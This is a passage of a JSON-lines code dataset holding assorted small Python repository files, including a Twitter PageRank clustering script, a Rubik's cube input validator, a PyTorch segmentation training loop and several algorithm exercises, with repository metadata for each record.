g[0][x] = 1.0 / tw\n for y, w in dg[x].items():\n if y in cluster:\n g[y][x] = 1.0 * w / tw\n for x in cluster:\n g[x][0] = 1.0 / len(cluster)\n\n score = dict.fromkeys(g.keys(), 1.0)\n new_score = dict.fromkeys(g.keys(), 0.0)\n for i in range(max(1000, len(cluster))):\n if len(cluster) > REP_LIMIT:\n if time() - t1 > 60:\n stderr.write('stoping early after {0} iterations... '.format(i))\n break\n for x, ys in g.items():\n for y, w in ys.items():\n new_score[x] += score[y] * w\n score = new_score\n new_score = dict.fromkeys(g.keys(), 0.0)\n\n if len(cluster) > REP_LIMIT:\n stderr.write('done in {0:.2f} seconds\\n'.format(time()-t1))\n return score\n\ndef order_cluster(dg, cluster):\n score = pagerank(dg, cluster)\n result = list(cluster)\n result.sort(lambda x, y: cmp(score[y], score[x]))\n return result\n\ndef compute_children(old_boss, new_boss):\n assert len(old_boss) == len(new_boss)\n c = dict()\n for x in range(1, len(new_boss)):\n ob = find(old_boss, x)\n nb = find(new_boss, x)\n if nb not in c:\n c[nb] = set()\n c[nb].add(ob)\n return c\n\ndef get_cluster(children, level, x):\n if level >= len(children):\n return set([x])\n r = set()\n for y in children[level][x]:\n r |= get_cluster(children, level + 1, y)\n return r\n\ndef describe_cluster(words_of_user, cluster):\n interesting_words = set()\n for u in cluster:\n for w in words_of_user[u].keys():\n interesting_words.add(w)\n inside = dict([(w,0) for w in interesting_words])\n outside = dict([(w,0) for w in interesting_words])\n for u in range(1, len(words_of_user)):\n if u in cluster:\n d = inside\n else:\n d = outside\n for w in interesting_words:\n if w in words_of_user[u]:\n d[w] += words_of_user[u][w]\n h1 = []\n h2 = []\n for w in interesting_words:\n if outside[w] == 0:\n heappush(h1, (-inside[w], w))\n else:\n heappush(h2, (-1.0*inside[w]/outside[w], w))\n result = []\n while len(h1) > 0 and len(result) < 5:\n _, w = heappop(h1)\n result.append(w)\n result.append('***')\n while len(h2) > 0 and len(result) < 11:\n _, w = heappop(h2)\n result.append(w)\n return result\n\ndef print_clusters(words_of_user, name_of_index, orig_graph, children, pl, level, root):\n if level >= len(children):\n return\n clusters = []\n for x in children[level][root]:\n one_cluster = get_cluster(children, level + 1, x)\n if len(one_cluster) >= 20:\n clusters.append((x, one_cluster))\n if len(clusters) == 1:\n print_clusters(words_of_user, name_of_index, orig_graph, children, pl, level + 1, clusters[0][0])\n return\n clusters.sort(lambda x, y: cmp(len(y[1]), len(x[1])))\n for x, c in clusters:\n oc = order_cluster(orig_graph, c)\n ws = describe_cluster(words_of_user, c)\n stdout.write(' ' * pl)\n stdout.write(str(len(oc)))\n stdout.write(', in frunte cu')\n for y in oc[:5]:\n stdout.write(' ')\n stdout.write(name_of_index[y])\n stdout.write(', au vorbit despre')\n for w in ws:\n stdout.write(' ')\n stdout.write(w)\n stdout.write('\\n')\n print_clusters(words_of_user, name_of_index, orig_graph, children, pl + 1, level + 1, x)\n\ndef old_main():\n words_of_user, _, name_of_index, orig_graph = parse_graph()\n boss = range(len(orig_graph))\n children = []\n for alpha in [0.1, 0.01, 0.005, 0]:\n graph = make_undirected(orig_graph, boss, alpha)\n old_boss = [x for x in boss]\n cut_clustering(graph, boss, name_of_index)\n children.append(compute_children(old_boss, boss))\n children.append(compute_children(boss, [0 for _ in boss]))\n children.reverse()\n print_clusters(words_of_user, name_of_index, orig_graph, children, 0, 0, 0)\n\ndef print_users_top(top):\n T1 = '
  • @NAME
  • \\n'\n with open('users_top.html', 'w') as f:\n for u in top:\n f.write(T1.replace('NAME', u))\n\ndef get_top(d, cnt):\n h = []\n for k, v in d.items():\n heappush(h, (v, k))\n if len(h) > cnt:\n heappop(h)\n r = []\n while len(h) > 0:\n _, k = heappop(h)\n r.append(k)\n r.reverse()\n return r\n\ndef rank_refs(score_of_user, refs_of_user):\n ref_score = dict()\n for u in range(1, len(refs_of_user)):\n refs = refs_of_user[u] \n tw = 0.0\n for w in refs.values():\n tw += w\n for r, w in refs.items():\n ref_score[r] = score_of_user[u] * w / tw + ref_score.setdefault(r, 0.0)\n return get_top(ref_score, 10)\n\ndef title_of_url(url):\n try:\n text = requests.get(url).content\n title = search('(.*)', text).group(1)\n title = title.lower()\n return title\n except:\n return url\n\ndef print_urls_top(top):\n T = '
  • \\nTITLE\\n
  • \\n'\n with open('urls_top.html', 'w') as f:\n for url in top:\n title = title_of_url(url)\n f.write(T.replace('URL', url).replace('TITLE', title))\n\ndef print_words_top(top):\n T = '
  • WORD
  • \\n'\n with open('words_top.html', 'w') as f:\n for w in top:\n s = T\n s = s.replace('WORDENC', quote(w))\n s = s.replace('WORD', w)\n f.write(s)\n\ndef main():\n words_of_user, urls_of_user, name_of_index, dg = parse_graph()\n score = pagerank(dg, set(range(1,len(dg))))\n print_users_top([name_of_index[u] for u in get_top(score, 11)])\n print_urls_top(rank_refs(score, urls_of_user))\n print_words_top(rank_refs(score, words_of_user))\n\nif __name__ == '__main__':\n main()\n","repo_name":"rgrig/twitstat","sub_path":"cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":9920,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"28149209446","text":"from setuptools import setup\n\nwith open('requirements.txt') as f:\n requirements = f.read().splitlines()\n\nsetup(name='citations',\n version='0.1',\n description='\"Papers Please\" citation generator',\n author='Saphire Lattice',\n packages=['citations'],\n package_dir={'citations': 'citations'},\n package_data={'citations': ['data/*']},\n scripts=['bin/citate'],\n install_requires=requirements)\n","repo_name":"SaphireLattice/citations","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"31080631491","text":"\"\"\"\nJan 31, 2022\n\n@author: Luca Dai\n\"\"\"\n\nimport rubik.cube as rubik\n#Return {'status': 'ok'} if pass all conditions \n#Return {'status': 'error: xxx'} where 'xxx' is an appropriate error message \ndef _check(parms):\n result={}\n #Value of cube is present\n encodedCube = parms.get('cube',None) \n if (encodedCube == None):\n result['status'] = 'error: Missing cube'\n \n #Value of cube is a string\n if not result:\n if (isinstance(encodedCube, str) == False):\n result['status'] = 'error: Invalid cube, cube is not a string'\n \n #Value of cube has 54 elements\n if not result:\n if (len(encodedCube) != 54):\n result['status'] = 'error: Invalid cube, cube length does not match'\n \n if not result:\n for i in range(len(encodedCube)):\n element = encodedCube[i]\n if(element.isdecimal() != True) and (element.isalpha() != True):\n result['status'] = 'error: Invalid cube, cube should only contain digits or alphabets'\n break\n #Value of cube has 9 occurrences of 6 colors\n if not result:\n color_dict = {}\n for element in range(0, len(encodedCube)):\n if (encodedCube[element] in color_dict):\n color_dict[encodedCube[element]] += 1\n else:\n color_dict[encodedCube[element]] = 1\n #Value of cube has of 6 colors\n if (len(color_dict) != 6):\n result['status'] = 'error: Invalid cube, cube colors do not equal to 6'\n return result\n #And each color has 9 characters\n for element in color_dict:\n if (color_dict[element] != 9):\n result['status'] = 'error: Invalid cube, each color elements do not equal to 9' \n break\n \n #Value of cube has each middle face being a different color\n if not result:\n #Middle face start from number 5(index 4), and increasing 9 every time \n mid_color = []\n mid_face = 4\n for element in range(6):\n if(encodedCube[mid_face] in mid_color):\n result['status'] = 'error: Invalid cube, face colors are not unique' \n break \n mid_color.append(encodedCube[mid_face])\n mid_face += 9 \n \n #Extra: Value of cube does not has contradictory color\n if not result: \n #Insert index number of 12 edges\n edge = rubik.getEdge()\n #Transfer index in to color\n edge_color = []\n for element in edge:\n ec1 = encodedCube[element[0] - 1]\n ec2 = encodedCube[element[1] - 1]\n edge_color.append([ec1, ec2])\n #Insert index number of 12 edges\n corner = rubik.getCorner()\n #Transfer index in to color\n corner_color = []\n for element in corner:\n cc1 = encodedCube[element[0] - 1]\n cc2 = encodedCube[element[1] - 1]\n cc3 = encodedCube[element[2] - 1]\n corner_color.append([cc1, cc2, cc3])\n #Get all middle face color in a list\n mid_color = []\n mid_face = 4\n for element in range(6):\n mid_color.append(encodedCube[mid_face])\n mid_face += 9\n #list position: cube index\n #1:5, 2:14, 3: 23, 4:32, 5:41, 6:50\n #Face 5 against 23, 14 against 32, 41 against 50\n #In order to use loop, swap position 2 and 3\n #color contradictory: x with x+1\n mid_color[1], mid_color[2] = mid_color[2], mid_color[1]\n #Ready to check the color contradictory\n #Check edges color contradictory\n for element in edge_color:\n if result:\n break\n for x in range(0, 6, 2):\n if result:\n break\n front = mid_color[x]\n back = mid_color[x+1]\n #same color\n if (element[0] == element[1]):\n result['status'] = 'error: Invalid cube, cube edges contains same color' \n #contradictory color\n if (front in element) and (back in element):\n result['status'] = 'error: Invalid cube, cube edges contains contradictory color' \n \n #Check corners color contradictory\n for element in corner_color:\n if result:\n break\n for x in range(0, 6, 2):\n if result:\n break\n front = mid_color[x]\n back = mid_color[x+1]\n #same color\n if (element[0] == element[1]) or (element[0] == element[2]) or (element[1] == element[2]):\n result['status'] = 'error: Invalid cube, cube corners contains same color' \n #contradictory color\n if (front in element) and (back in element):\n result['status'] = 'error: Invalid cube, cube corners contains contradictory color' \n \n \n #The cube string fits all conditions\n if not result:\n result['status'] = 'ok'\n return result\n","repo_name":"LucaDai/Rubik-s-Cube-SoftareProcess-","sub_path":"rubik/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":5122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36103154868","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 25 23:24:58 2017\n\n@author: luzhangqin\n\"\"\"\n\nimport numpy as np\n#使用skimage.feature的corner_harris获取harris角点(输入图像应为灰度图像),\n#以及corner_peaks对角点进行过滤\nfrom skimage.feature import corner_harris, corner_peaks\n#使用skimage.color.rgb2gray进行颜色转换\nfrom skimage.color import rgb2gray\nimport matplotlib.pyplot as plt\n#使用skimge.io读入图像,显示图像\nimport skimage.io as io\n#使用skimage.exposure.equalize_hist进行直方图均衡化\nfrom skimage.exposure import equalize_hist\n\ndef show_corners(corners, image):\n fig = plt.figure()\n plt.gray()\n plt.imshow(image)\n #在运行zip(*xyz)之前,xyz的值是:[(1, 4, 7), (2, 5, 8), (3, 6, 9)]\n #那么,zip(*xyz) 等价于 zip((1, 4, 7), (2, 5, 8), (3, 6, 9))\n y_corner, x_corner = zip(*corners)\n plt.plot(x_corner, y_corner, 'or')\n plt.xlim(0, image.shape[1])\n plt.ylim(image.shape[0], 0)\n #指定matplotlib输出图片的尺寸\n fig.set_size_inches(np.array(fig.get_size_inches()) * 1.5)\n plt.show()\n \n\nmandrill =io.imread('mandrill.png')\nmandrill = equalize_hist(rgb2gray(mandrill))\ncorners = corner_peaks(corner_harris(mandrill), min_distance = 2)\nshow_corners(corners, mandrill)","repo_name":"TonyLDS/sklearn","sub_path":"3-7.py","file_name":"3-7.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36176650961","text":"import pytest\n\nfrom archive import druumz\n\n\n@pytest.fixture\ndef config():\n _ = druumz.BasicParameters()\n _.from_json(\n '{\"map_worksheet_name\": \"midi_map\", \"hits_worksheet_name\": \"hits\", \"measures\": 1, \"beats\": 4, \"pulses\": 4}')\n return _\n\n\ndef test_chance_entry():\n x = druumz.ChanceEntry()\n assert x.prob_hit == 0\n\n\ndef test_basic_parameters(config):\n assert config.beats == 4\n assert config.total_pulses == 16\n\n\ndef test_config_file_generator(config):\n x = druumz.ConfigFileGenerator(config)\n d = x.default_drum_hits()\n assert d.iloc[0]['g1_min_vol'] == 0\n assert d.iloc[1]['g2_min_vol'] == 0\n\n\ndef test_midi_file_generator():\n x = druumz.MIDIFileGenerator()\n x.read_file(r'c:\\temp\\unit_tester.xlsx')\n assert x.midi_map.index[3] == 'g4'\n\n d = x.drum_probs\n assert d.iloc[0]['g1_min_vol'] == 50.0\n assert d.iloc[1]['g2_min_vol'] == 1.0\n\n","repo_name":"absurdpoet/pythonProject","sub_path":"archive/test_druumz.py","file_name":"test_druumz.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8496887133","text":"def setup():\n size(800,450)\n \ndef draw():\n nColumns=100\n nRows=30\n rectWidth=width/nColumns\n rectHeight=height/nRows\n for i in xrange(nColumns):\n for j in xrange(nRows):\n red=255\n green=255\n blue=255\n if i%4==0:\n red=0\n if j%3==0:\n green=0\n if j%5==0:\n blue=0\n if (i+j)%3==0:\n green=0\n blue=0\n fill(red,green,blue)\n rect(i*rectWidth,j*rectHeight,rectWidth,rectHeight)","repo_name":"dbt-ethz/MASdfab1617","sub_path":"processingPython/loop/sketch_Modulo/sketch_Modulo.pyde","file_name":"sketch_Modulo.pyde","file_ext":"pyde","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12435663214","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n # int:numbers\n # str:strings\n # path:whole urls/\n # slug:hyphen-and_underscores...\n # UUID:universally unique identifier\n path('', views.home, name=\"home\"),\n path('startup/', views.startup, name=\"startup\"),\n path('events/', views.events, name=\"events\"),\n path('members/', views.members, name=\"members\"),\n path('gallery/', views.gallery, name=\"gallery\"),\n]\n\n","repo_name":"Krishanonymous/ecell-web","sub_path":"events/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11193141550","text":"import numpy as np\r\nimport torch\r\nimport torch.optim.lr_scheduler\r\nfrom torchvision.utils import make_grid\r\nimport argparse\r\nimport math\r\nfrom tensorboardX import SummaryWriter\r\nfrom Utils.utils import predit2label, print_log, save_metrics, depth_mode, test_metrics, warm_up, color_label\r\nfrom Utils.loss import CrossEntropyLoss2d\r\nfrom Nets.RDFNet import RDFNet50_HHA\r\nfrom Nets.CMAnet import CMAnet\r\n\r\nfrom Utils.load import load_checkpoint, save_checkpoint\r\nfrom Utils.metrics import SegmentationMetric\r\nimport time\r\nimport warnings\r\n\r\n# igonre warnings, which causing print error\r\nwarnings.filterwarnings('ignore')\r\n\r\nparser = argparse.ArgumentParser(description=\"CMANet Indoor Semantic Segmentation\")\r\n\r\nparser.add_argument('--device', type=str, default='cuda', help='choose device')\r\nparser.add_argument('--numclass', type=int, default=40, help='')\r\nparser.add_argument('--learning_rate', type=float, default=1.2e-3, help='')\r\nparser.add_argument('--warmup_lr', type=float, default=1e-4, help='')\r\nparser.add_argument('--warmup_epoch', type=int, default=15, help='')\r\nparser.add_argument('--epochs', type=int, default=800, help='')\r\nparser.add_argument('--batch_size', default=8, type=int,\r\n metavar='N', help='mini-batch size (default: 8)')\r\nparser.add_argument('--weight-decay', '--wd', default=5e-4, type=float,\r\n metavar='W', help='weight decay (default: 5e-4)')\r\nparser.add_argument('--momentum', default=0.9, type=float, metavar='M',\r\n help='momentum')\r\nparser.add_argument('--reload', default=False, type=bool,\r\n help='')\r\nparser.add_argument('--depth_type', default='hha', type=str, help='')\r\n\r\nargs = parser.parse_args()\r\n\r\nrgbpath = r'datasets/NYU2/train_rgb'\r\nhhapath = r'datasets/NYU2/train_hha'\r\ndeppath = r'datasets/NYU2/train_depth'\r\nlabpath = r'datasets/NYU2/train_class40'\r\n\r\nimage_h = 480\r\nimage_w = 640\r\n\r\nload_dir = r'ckpt_epoch_350.00.pth'\r\n\r\nsummary_dir = r'savefile'\r\n\r\n\r\ndef train():\r\n # Using dataloader and dataset to read the image/depth/label\r\n device = args.device\r\n\r\n dataset, dataloader = depth_mode(mode=args.depth_type,\r\n batchsize=args.batch_size,\r\n rgb_path=rgbpath,\r\n dep_path=deppath,\r\n hha_path=hhapath,\r\n lab_path=labpath)\r\n\r\n # net = RDFNet50_HHA(num_classes=args.numclass, mode='train')\r\n net = CMAnet(num_classes=args.numclass)\r\n\r\n print('net')\r\n\r\n optimizer = torch.optim.SGD(params=net.parameters(),\r\n lr=args.learning_rate,\r\n weight_decay=args.weight_decay,\r\n momentum=args.momentum)\r\n\r\n scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.8, last_epoch=-1,\r\n verbose=False)\r\n\r\n # load and freeze resnet params\r\n net._load_resnet_pretrained()\r\n net._freeze_parameters()\r\n net._unfreeze_bn()\r\n\r\n # reload or not\r\n pre_epoch = 1\r\n if args.reload == True:\r\n pre_epoch = load_checkpoint(net, optimizer, scheduler, load_dir)\r\n net._unfreeze_all_parameters()\r\n # build tensorboard\r\n writer = SummaryWriter(summary_dir, comment=\"handw_exp\", filename_suffix=\"CMANet\")\r\n\r\n # the number of iterations in one epoch\r\n itr_epoch = math.floor(len(dataset) / args.batch_size)\r\n\r\n # set loss functions\r\n CEL_weighted = CrossEntropyLoss2d()\r\n\r\n # change device\r\n net.to(device)\r\n CEL_weighted.to(device)\r\n\r\n training_sum_time = 0\r\n print(\"begin training!\")\r\n for epoch in range(pre_epoch, args.epochs + 1):\r\n # train mode\r\n net.train()\r\n\r\n # caculate time and metrics\r\n epoch_start_time = time.time()\r\n\r\n # metrics caculate\r\n train_metricclass = SegmentationMetric(numClass=args.numclass)\r\n\r\n # warm_up\r\n optimizer = warm_up(optimizer=optimizer,\r\n warm_epoch=args.warmup_epoch,\r\n epoch=epoch,\r\n warm_up_lr=args.warmup_lr,\r\n lr=args.learning_rate)\r\n\r\n # caculate epoch sum loss\r\n epoch_loss = 0\r\n\r\n for batch_idx, sample in enumerate(dataloader):\r\n image = sample['image'].to(device)\r\n depth = sample['depth'].to(device)\r\n target_scales = [sample[s].to(device) for s in ['label', 'label2', 'label3', 'label4', 'label5']]\r\n optimizer.zero_grad()\r\n\r\n # get the result through net(input)\r\n pred_scales = net(image, depth)\r\n\r\n # loss caculation\r\n loss = CEL_weighted(pred_scales, target_scales)\r\n\r\n # update net parameters\r\n loss.backward()\r\n optimizer.step()\r\n\r\n # metric caculate\r\n train_metricclass.addBatch(imgPredict=predit2label(pred_scales[0].to('cpu')),\r\n imgLabel=target_scales[0].to('cpu') - 1)\r\n Pa = train_metricclass.pixelAccuracy()\r\n mPa = train_metricclass.meanPixelAccuracy()\r\n mIOU = train_metricclass.meanIntersectionOverUnion()\r\n\r\n # caculate time\r\n itr_end_time = time.time() - epoch_start_time\r\n\r\n # print and save\r\n print_log(epoch, optimizer.param_groups[0]['lr'], itr_end_time, batch_idx, itr_epoch, loss.item(),\r\n Pa, mPa, mIOU)\r\n\r\n epoch_loss += loss.item()\r\n\r\n # save metrics after each epoch\r\n save_metrics(epoch, optimizer.param_groups[0]['lr'], itr_end_time, epoch_loss / itr_epoch, Pa, mPa, mIOU)\r\n training_sum_time += itr_end_time\r\n\r\n # update learning rate\r\n # scheduler.step(epoch_loss / itr_epoch)\r\n scheduler.step()\r\n # tensorboard save\r\n if epoch % 5 == 0 or epoch == 1:\r\n for name, param in net.named_parameters():\r\n writer.add_histogram(name, param.clone().cpu().data.numpy(), epoch, bins='doane')\r\n grid_image = make_grid(image[:4].clone().cpu().data, 4, normalize=True)\r\n writer.add_image('image', grid_image, epoch)\r\n grid_image = make_grid(depth[:4].clone().cpu().data, 4, normalize=True)\r\n writer.add_image('depth', grid_image, epoch)\r\n grid_image = make_grid(color_label(torch.max(pred_scales[0][:4], 1)[1] + 1), 4, normalize=False,\r\n range=(0, 255))\r\n writer.add_image('Predicted label1', grid_image, epoch)\r\n grid_image = make_grid(color_label(torch.max(pred_scales[1][:4], 1)[1] + 1), 4, normalize=False,\r\n range=(0, 255))\r\n writer.add_image('Predicted label2', grid_image, epoch)\r\n grid_image = make_grid(color_label(torch.max(pred_scales[2][:4], 1)[1] + 1), 4, normalize=False,\r\n range=(0, 255))\r\n writer.add_image('Predicted label3', grid_image, epoch)\r\n grid_image = make_grid(color_label(torch.max(pred_scales[3][:4], 1)[1] + 1), 4, normalize=False,\r\n range=(0, 255))\r\n writer.add_image('Predicted label4', grid_image, epoch)\r\n grid_image = make_grid(color_label(torch.max(pred_scales[4][:4], 1)[1] + 1), 4, normalize=False,\r\n range=(0, 255))\r\n writer.add_image('Predicted label5', grid_image, epoch)\r\n grid_image = make_grid(color_label(target_scales[0][:4]), 4, normalize=False, range=(0, 255))\r\n writer.add_image('Groundtruth label', grid_image, epoch)\r\n writer.add_scalar('CrossEntropyLoss', loss.data, global_step=epoch)\r\n writer.add_scalar('Learning rate', scheduler.get_lr()[0], global_step=epoch)\r\n writer.add_scalar('Training Sum Time', np.around(training_sum_time/3600, decimals=2), global_step=epoch)\r\n writer.add_scalar('Itr Time', itr_end_time, global_step=epoch)\r\n writer.add_scalar('PixelAccuracy', Pa, global_step=epoch)\r\n writer.add_scalar('MeanPixelAccuracy', mPa, global_step=epoch)\r\n writer.add_scalar('MeanIOU', mIOU, global_step=epoch)\r\n print('tensorboard saved in epoch {}'.format(epoch))\r\n\r\n # save model each 25 epochs\r\n if epoch % 10 == 0:\r\n save_checkpoint(model=net, optimizer=optimizer, scheduler=scheduler, epoch=epoch)\r\n print('checkpoint saved in epoch {}'.format(epoch))\r\n\r\n # save test dataset metrics in each 50 epochs\r\n if epoch > 450 and epoch % 20 == 0:\r\n test_metrics(epoch=epoch, net=net, depth_type=args.depth_type, numclass=args.numclass)\r\n print('test metrics saved in epoch {}'.format(epoch))\r\n\r\n # unfreeze some layers in resnet\r\n if epoch == 60:\r\n net._unfreeze_layers_parameters()\r\n\r\n # unfreeze all parameters while epoch = 100 for encoder training\r\n if epoch == 80:\r\n net._unfreeze_all_parameters()\r\n\r\n # empty cuda\r\n torch.cuda.empty_cache()\r\n\r\n print(\"train completed!\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n train()\r\n","repo_name":"The1912/CMANet","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9299,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"2474821790","text":"class Solution:\n def search(self, grid, m, n, i, j):\n grid[i][j] = '-1'\n\n if ((i-1) >= 0) and (grid[i-1][j] == '1'):\n self.search(grid, m, n, i-1, j)\n\n if ((j-1) >= 0) and (grid[i][j-1] == '1'):\n self.search(grid, m, n, i, j-1)\n\n if ((i+1) < m) and (grid[i+1][j] == '1'):\n self.search(grid, m, n, i+1, j)\n\n if ((j+1) < n) and (grid[i][j+1] == '1'):\n self.search(grid, m, n, i, j+1)\n\n\n def numIslands(self, grid: List[List[str]]) -> int:\n\n count = 0\n\n m = len(grid)\n n = len(grid[0])\n\n for i in range(m):\n for j in range(n):\n if (grid[i][j] == '1'):\n count += 1\n self.search(grid, m, n, i, j)\n\n return count\n\n \n","repo_name":"jacek257/Coding","sub_path":"number_of_islands/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22040399682","text":"# 백준 10819번 차이를 최대로 \n# https://sdesigner.tistory.com/51 코드\n\n# Library 사용 풀이\n \nfrom itertools import permutations\nimport sys\n \n# 주어진 값 입력\nn = int(sys.stdin.readline())\na = list(map(int, sys.stdin.readline().split()))\n \n# permutation 저장(per: reference of permutation tuples)\n# 들어오는 배열의 모든 순서의 경우의 수를 튜플로 담는다.\nper = permutations(a)\nans = 0\n\n\n \n# 순열마다 차이를 더해(s), ans 보다 크면 ans를 update\nfor i in per:\n s = 0\n for j in range(len(i)-1):\n s += abs(i[j]-i[j+1])\n \n if s > ans:\n ans = s\n \n \n \nprint(ans)\n\n# 라이브러리를 사용하지 않는 경우, 다음 순열의 풀이와 비슷하다.\n\n# 나리야나 판디타의 다음 순열 알고리즘을 구현한 것 \n\nimport sys\n \n \ndef next_permutation(list_a):\n k = -1\n m = -1\n \n # 증가하는 마지막 부분을 가리키는 index k 찾기\n for i in range(len(list_a)-1):\n if list_a[i] < list_a[i+1]:\n k = i\n \n # 전체 내림차순일 경우, 반환\n if k == -1:\n return [-1]\n \n # index k 이후 부분 중 값이 k보다 크면서 가장 멀리 있는 index m 찾기\n for i in range(k, len(list_a)):\n if list_a[k] < list_a[i]:\n m = i\n \n # k와 m의 값 바꾸기\n list_a[k], list_a[m] = list_a[m], list_a[k]\n \n # k index 이후 오름차순 정렬\n list_a = list_a[:k+1] + sorted(list_a[k+1:])\n return list_a\n \n \n# 주어진 값 입력 & 정렬\nn = int(sys.stdin.readline())\na = list(map(int, sys.stdin.readline().split()))\na.sort()\n \nans = 0\n# 첫 순열 내 값 차이를 더해(s), ans 보다 크면 ans를 update\ns = 0\nfor j in range(len(a) - 1):\n s += abs(a[j] - a[j+1])\nif s > ans:\n ans = s\n \narr = a\n \nwhile True:\n arr = next_permutation(arr)\n if arr == [-1]:\n break\n s = 0\n \n # 순열마다 차이를 더해(s), ans 보다 크면 ans를 update\n for j in range(len(arr) - 1):\n s += abs(arr[j] - arr[j+1])\n if s > ans:\n ans = s\n \nprint(ans) \n\n\n","repo_name":"glory0224/Algorithm","sub_path":"Baekjoon/BruteForce/biggest_difference.py","file_name":"biggest_difference.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33498190980","text":"\"\"\" Set of tools to summarizing experimental results in particle physics\n\n Author: Vitaly Vorobyev (vvorob@inp.nsk.su)\n Version: 0.1\n Last modification: 24.12.2018\n\"\"\"\n\nPDGPID = {\n ### Unflavored ###\n\n ### Charmed ###\n 'S031' : r'D^{\\pm}',\n 'S032' : r'D^{0}',\n 'M061' : r'D^{*}(2007)^{0}',\n 'M062' : r'D^{*}(2010)^{\\pm}',\n ### Charm-strange ###\n 'S034' : r'D_{s}^{\\pm}',\n 'M074' : r'D_{s}^{*\\pm}',\n 'M172' : r'D_{s0}^{*}(2317)^{\\pm}',\n 'M173' : r'D_{s1}(2460)^{\\pm}',\n 'M148' : r'D_{s2}(2573)^{\\pm}',\n ### Bottom ###\n 'S041' : r'B^{\\pm}',\n 'S042' : r'B^{0}',\n}\n\nclass PDGid(object):\n ID = PDGPID\n \"\"\" PDG particle encoding \"\"\"\n def __init__(self):\n \"\"\" Constructor \"\"\"\n \n @staticmethod\n def __call__(code):\n \"\"\" \"\"\"\n assert(code in PDGid.ID)\n return PDGid.ID[code]\n\n @staticmethod\n def get(code):\n \"\"\" \"\"\"\n assert(code in PDGid.ID)\n return PDGid.ID[code]\n","repo_name":"VitalyVorobyev/mypdgtool","sub_path":"PDGid.py","file_name":"PDGid.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73022166759","text":"import numpy as np\nimport logging \nimport os\nfrom tqdm import tqdm\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\n\n\n\nfrom evaluation import *\nplt.rcParams[\"font.family\"] = \"serif\"\nplt.rcParams[\"font.serif\"] = \"Times New Roman\"\n\n\ndef metrics(model, metadataset, Graph, objective_function, criterion, evaluate=evaluate, **kwargs):\n if 'nBOagents' in kwargs.keys():\n nBOagents = kwargs['nBOagents']\n else:\n nBOagents = None\n device = 'cpu' \n model = model.to(device)\n model.eval()\n k = 0\n testloss = np.zeros((len(metadataset), model.nLayers+1))\n testAccuracy = np.zeros((len(metadataset), model.nLayers+1))\n dist2Opt = np.zeros((len(metadataset), model.nLayers+1))\n Acc = []\n obj = []\n AccPerAgent = np.zeros((len(metadataset), ))\n model.eval()\n crossLoss = torch.zeros(len(metadataset), len(metadataset))\n for ibatch in tqdm(range(len(metadataset))):\n loss, acc, outs = evaluate(model, metadataset[ibatch], objective_function, criterion, eps=0.05, nBOagents=nBOagents, SysID=Graph[ibatch], device=device, ibatch=ibatch)\n testloss[ibatch] = loss\n testAccuracy[ibatch] = acc\n dist2Opt[ibatch] = np.array([torch.norm(outs[l] - outs[model.nLayers], p=2, dim=(0,1)).item() for l in range(model.nLayers+1)])\n obj.append(loss[-1].item())\n Acc.append(acc[-1].item())\n AccPerAgent[ibatch] = accuracyPerAgents(outs[model.nLayers], metadataset[ibatch][1][0], metadataset[ibatch][1][1], device)[1]#.append(accuracyPerAgents(outs[model.nLayers], metadataset[ibatch][1][0], metadataset[ibatch][1][1], device))\n k += 1\n with torch.no_grad():\n for i in range(len(metadataset)):\n crossLoss[ibatch, i] = accuracy(outs[model.nLayers], metadataset[i][1][0], metadataset[i][1][1], device)\n\n logging.debug(r'Accuracy {:.2f} +/- {:.2f}'.format(np.mean(Acc)*100, np.std(Acc)*100))\n logging.debug(r'Objective {} +/- {}'.format(np.mean(obj), np.std(obj)))\n logging.debug(r'Variability Per Agent {:.2f} +/- {:.2f}'.format(np.mean(AccPerAgent)*100, np.std(AccPerAgent)*100))\n return testloss, testAccuracy, dist2Opt, AccPerAgent, crossLoss\n\ndef plotting(loss_constrained, acc, dist2Opt, loss_unconstrained, acc_unconstrained, dist2Opt_unconstrained, title):\n dist2Opt[len(dist2Opt)-1] = 10\n dist2Opt_unconstrained[len(dist2Opt_unconstrained)-1] = 10\n if not os.path.exists(\"figs\"):\n os.makedirs(\"figs\")\n # Figure 1: Distance to optimal\n sns.set_context('notebook')\n sns.set_style('darkgrid')\n plt.figure(figsize=(8,3))\n plt.subplot(1,2,1)\n plt.plot(np.arange(loss_constrained.shape[1]), np.mean(loss_constrained, axis=0), 'b', label='constrained')\n plt.errorbar(np.arange(loss_constrained.shape[1]), np.mean(loss_constrained, axis=0), yerr=np.std(loss_constrained, axis=0), fmt='b', capsize=3, alpha=0.5)\n 